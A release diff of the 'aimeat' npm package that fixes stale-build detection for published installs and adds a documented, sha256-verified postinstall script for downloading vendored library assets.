+{"version":3,"file":"build-stamp.d.ts","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"AAwBA,MAAM,WAAW,UAAU;IACzB,cAAc,EAAE,MAAM,CAAC;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,GAAG,IAAI,CAAC;IACtB,KAAK,EAAE,OAAO,GAAG,IAAI,CAAC;IACtB,QAAQ,EAAE,MAAM,CAAC;IACjB,mBAAmB,EAAE,MAAM,CAAC;IAC5B,WAAW,EAAE,MAAM,EAAE,CAAC;CACvB;AAED,MAAM,WAAW,cAAc;IAC7B;;;;;OAKG;IACH,KAAK,EAAE,OAAO,GAAG,OAAO,GAAG,QAAQ,GAAG,SAAS,CAAC;IAChD,KAAK,EAAE,UAAU,GAAG,IAAI,CAAC;IACzB,kFAAkF;IAClF,OAAO,EAAE,MAAM,GAAG,IAAI,CAAC;CACxB;AAUD,gGAAgG;AAChG,wBAAgB,cAAc,IAAI,UAAU,GAAG,IAAI,CAOlD;AAuBD;;;GAGG;AACH,eAAO,MAAM,cAAc,OAAO,CAAC;AAEnC;;;;;;;;GAQG;AACH,wBAAgB,gBAAgB,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI,EAAE,YAAY,EAAE,MAAM,GAAG,cAAc,CAc/F;AAED;;;;;;;GAOG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,EAAE,KAAK,EAAE,CAAC,IAAI,EAAE,MAAM,KAAK,IAAI,GAAG,IAAI,CAa5F;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,SAAS,EAAE,cAAc,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAQhF;AAED,oEAAoE;AACpE,wBAAgB,mBAAmB,IAAI,cAAc,CAepD"}

package/dist/src/utils/build-stamp.js

@@ -12,9 +12,13 @@
  * @structure readBuildStamp(): BuildStamp | null; checkBuildFreshness(): BuildFreshness
  * @usage import { checkBuildFreshness } from '../utils/build-stamp.js';
  * @version-history
+ *   v1.1.0 — 2026-08-02 — Detect a published install by the absence of `src/` rather than by all
+ *     source dirs scanning to zero. `scripts/vendor-libs.mjs` ships as a postinstall hook, so a
+ *     tarball has a `scripts/` dir whose mtimes are extraction time — which made every published
+ *     install announce STALE BUILD. Found by installing the packed tarball into a clean directory.
  *   v1.0.0 — 2026-08-02 — Initial stale-dist detection for the serve daemon.
  */
-import { readFileSync, readdirSync, statSync } from 'node:fs';
+import { readFileSync, readdirSync, statSync, existsSync } from 'node:fs';
 import { fileURLToPath } from 'node:url';
 import { dirname, join } from 'node:path';
 /** dist/src/utils/build-stamp.js → dist/. In dev (src/utils) this points at a path that does not exist. */
@@ -136,6 +140,13 @@ export function checkBuildFreshness() {
     if (!stamp)
         return compareFreshness(null, 0);
     const pkgRoot = join(dirname(stampPath()), '..');
+    // `src/` is THE discriminator between a dev checkout and a published install, because it is the
+    // one source dir that never ships. Do not infer this from the union of source_dirs: `scripts/`
+    // partially ships (vendor-libs.mjs is a postinstall hook), so a tarball install has a `scripts/`
+    // whose mtimes are the EXTRACTION time — newer than built_at, which made every published install
+    // announce itself as a stale build. Measured on a clean `npm install` of 2.6.1 before this line.
+    if (!existsSync(join(pkgRoot, 'src')))
+        return compareFreshness(stamp, 0);
     const dirs = stamp.source_dirs ?? ['src', 'bin', 'scripts'];
     return compareFreshness(stamp, Math.max(0, ...dirs.map((d) => newestMtime(join(pkgRoot, d)))));
 }

package/dist/src/utils/build-stamp.js.map

@@ -1 +1 @@
-{"version":3,"file":"build-stamp.js","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"build-stamp.js","sourceRoot":"","sources":["../../../src/utils/build-stamp.ts"],"names":[],"mappings":"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"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "aimeat",
-  "version": "2.6.0",
+  "version": "2.7.0",
   "description": "AIME AT - AI Memory Exchange and Action Transfer - reference implementation",
   "type": "module",
   "main": "dist/src/index.js",
@@ -12,6 +12,7 @@
   },
   "files": [
     "dist/",
+    "scripts/vendor-libs.mjs",
     "docs/AIMEAT_Help_Prompt.md",
     "docs/csm-examples/"
   ],
@@ -102,7 +103,7 @@
     "vitest": "^4.1.8"
   },
   "scripts": {
-    "postinstall": "node scripts/vendor-libs.mjs",
+    "postinstall": "node scripts/vendor-libs.mjs --optional",
     "vendor:libs": "node scripts/vendor-libs.mjs",
     "check:vendored": "node scripts/vendor-libs.mjs --check",
     "dev": "node scripts/vendor-libs.mjs && tsx scripts/kill-port.ts && tsx scripts/build-app-catalog.ts && tsx scripts/build-sdk-libs.ts && node --env-file=.env --import tsx src/index.ts start",

package/scripts/vendor-libs.mjs

@@ -0,0 +1,144 @@
+/**
+ * @file scripts/vendor-libs.mjs
+ * @description Fetch the vendored /lib/ assets that are too large to keep in git, listed in
+ *   public/lib/vendored-assets.json, and verify each against its pinned sha256. Idempotent: an
+ *   asset that is already present and correct is left alone, so running this on every install,
+ *   dev start and build costs nothing after the first time.
+ *
+ *   Plain .mjs on purpose — it runs as a postinstall hook, where a production install
+ *   (`pnpm install --prod`) has no tsx to run a TypeScript script with.
+ *
+ *   TWO LAYOUTS, and getting this wrong broke `npm i aimeat` for every published version up to
+ *   2.6.0. A dev checkout serves from `public/`; a PUBLISHED install ships `dist/` only, so the
+ *   same tree arrives at `dist/public/`. Resolving the manifest at a hardcoded `public/lib/` meant
+ *   the hook crashed with MODULE_NOT_FOUND-adjacent "no manifest" on every real install — unnoticed
+ *   because this repo's own global `aimeat` is a symlink into the working tree and therefore never
+ *   exercises the tarball.
+ * @structure resolvePublicRoot() → dev vs published layout; main() → --check (verify only, non-zero
+ *   exit when something is missing) | --optional (never fail the caller) | default (download what is
+ *   missing or corrupt, atomically via a .part file)
+ * @usage
+ *   pnpm vendor:libs        # download what is missing (dev start / build run this)
+ *   pnpm check:vendored     # verify only — CI and "why does /lib/... 404" use this
+ *   node scripts/vendor-libs.mjs --optional   # postinstall: warn, never abort the install
+ *   AIMEAT_SKIP_VENDOR=1 pnpm install   # opt out (offline or air-gapped machine)
+ * @version-history
+ *   v1.1.0 — 2026-08-02 — Resolve the public tree in BOTH layouts (dev `public/`, published
+ *     `dist/public/`), and add `--optional` for the postinstall hook so a firewalled or offline
+ *     machine gets a warning instead of a failed `npm install`. Explicit runs and --check still
+ *     fail loudly.
+ *   v1.0.0 — 2026-07-30 — initial: @ffmpeg/core 0.12.6 wasm (32 MB), sha256-pinned.
+ */
+import { createHash } from 'node:crypto';
+import { readFileSync, existsSync, mkdirSync, renameSync, rmSync, statSync, writeFileSync } from 'node:fs';
+import { dirname, join, resolve } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const ROOT = resolve(dirname(fileURLToPath(import.meta.url)), '..');
+const checkOnly = process.argv.includes('--check');
+/** postinstall: a machine that cannot reach the network must still finish installing. */
+const optional = process.argv.includes('--optional');
+
+/**
+ * The served public tree, which is not in the same place in both layouts: a dev checkout has
+ * `public/`, a published install ships `dist/` only and so has `dist/public/`. Assets must land in
+ * the tree the node actually serves, or they are downloaded and then never found.
+ */
+function resolvePublicRoot() {
+  for (const candidate of [join(ROOT, 'public'), join(ROOT, 'dist', 'public')]) {
+    if (existsSync(join(candidate, 'lib', 'vendored-assets.json'))) return candidate;
+  }
+  return null;
+}
+
+const PUBLIC_ROOT = resolvePublicRoot();
+if (PUBLIC_ROOT === null) {
+  const where = 'public/lib/vendored-assets.json (dev) or dist/public/lib/vendored-assets.json (published)';
+  if (checkOnly) {
+    console.error(`vendor-libs: no manifest found at ${where}.`);
+    process.exit(1);
+  }
+  // Not a layout we recognise. Saying so beats aborting somebody's install over it.
+  console.warn(`vendor-libs: no manifest at ${where} — nothing to vendor.`);
+  process.exit(0);
+}
+const MANIFEST = join(PUBLIC_ROOT, 'lib', 'vendored-assets.json');
+
+/** sha256 of a file on disk, or null when it is not there. */
+function hashOf(file) {
+  if (!existsSync(file)) return null;
+  return createHash('sha256').update(readFileSync(file)).digest('hex');
+}
+
+function human(bytes) {
+  return bytes >= 1024 * 1024 ? `${(bytes / 1024 / 1024).toFixed(1)} MB` : `${Math.round(bytes / 1024)} kB`;
+}
+
+async function download(asset, target) {
+  const part = `${target}.part`;
+  mkdirSync(dirname(target), { recursive: true });
+  process.stdout.write(`  ↓ ${asset.path} (${human(asset.bytes)}) from ${asset.url}\n`);
+  const res = await fetch(asset.url, { redirect: 'follow' });
+  if (!res.ok) throw new Error(`${asset.url} → HTTP ${res.status}`);
+  const bytes = Buffer.from(await res.arrayBuffer());
+  const got = createHash('sha256').update(bytes).digest('hex');
+  if (got !== asset.sha256) {
+    throw new Error(`${asset.path}: sha256 mismatch\n    expected ${asset.sha256}\n    got      ${got}\n`
+      + '    The pinned URL served different bytes. Do NOT ship this file; check the source first.');
+  }
+  if (bytes.length !== asset.bytes) {
+    throw new Error(`${asset.path}: expected ${asset.bytes} bytes, got ${bytes.length}`);
+  }
+  writeFileSync(part, bytes);
+  // Rename last, so an interrupted run never leaves a half file where the server would serve it.
+  renameSync(part, target);
+}
+
+const manifest = JSON.parse(readFileSync(MANIFEST, 'utf8'));
+const assets = manifest.assets ?? [];
+let missing = 0;
+let fetched = 0;
+
+if (process.env.AIMEAT_SKIP_VENDOR === '1' && !checkOnly) {
+  console.log('vendor-libs: AIMEAT_SKIP_VENDOR=1 — skipping. /lib/ assets in the manifest will 404 until you run pnpm vendor:libs.');
+  process.exit(0);
+}
+
+for (const asset of assets) {
+  const target = join(PUBLIC_ROOT, asset.path);
+  const have = hashOf(target);
+  if (have === asset.sha256) continue;
+
+  if (checkOnly) {
+    missing++;
+    const what = have === null ? 'MISSING' : `WRONG CONTENT (sha256 ${have.slice(0, 12)}…)`;
+    console.error(`vendor-libs: public/${asset.path} — ${what}`);
+    continue;
+  }
+  if (have !== null) {
+    console.warn(`  ! public/${asset.path} does not match its pinned hash (${statSync(target).size} bytes on disk) — refetching`);
+    rmSync(target);
+  }
+  try {
+    await download(asset, target);
+    fetched++;
+  } catch (err) {
+    // An explicit `pnpm vendor:libs` must still fail — the caller asked for these bytes. The
+    // postinstall hook must not: a firewalled or offline machine installing the package has not
+    // asked for anything, and failing there aborts the whole install over an optional asset.
+    if (!optional) throw err;
+    console.warn(`vendor-libs: could not fetch ${asset.path} — ${(err).message}`);
+    console.warn(`vendor-libs: /lib/${asset.path} will 404 until you run: pnpm vendor:libs`);
+  }
+}
+
+if (checkOnly) {
+  if (missing > 0) {
+    console.error(`\nvendor-libs: ${missing} vendored asset(s) not in place. Run: pnpm vendor:libs`);
+    console.error('Until then those /lib/ paths answer 404 and any app relying on them falls back to a CDN or fails.');
+    process.exit(1);
+  }
+  console.log(`vendor-libs: ${assets.length} vendored asset(s) present and hash-verified.`);
+} else if (fetched > 0) {
+  console.log(`vendor-libs: fetched ${fetched} asset(s).`);
+}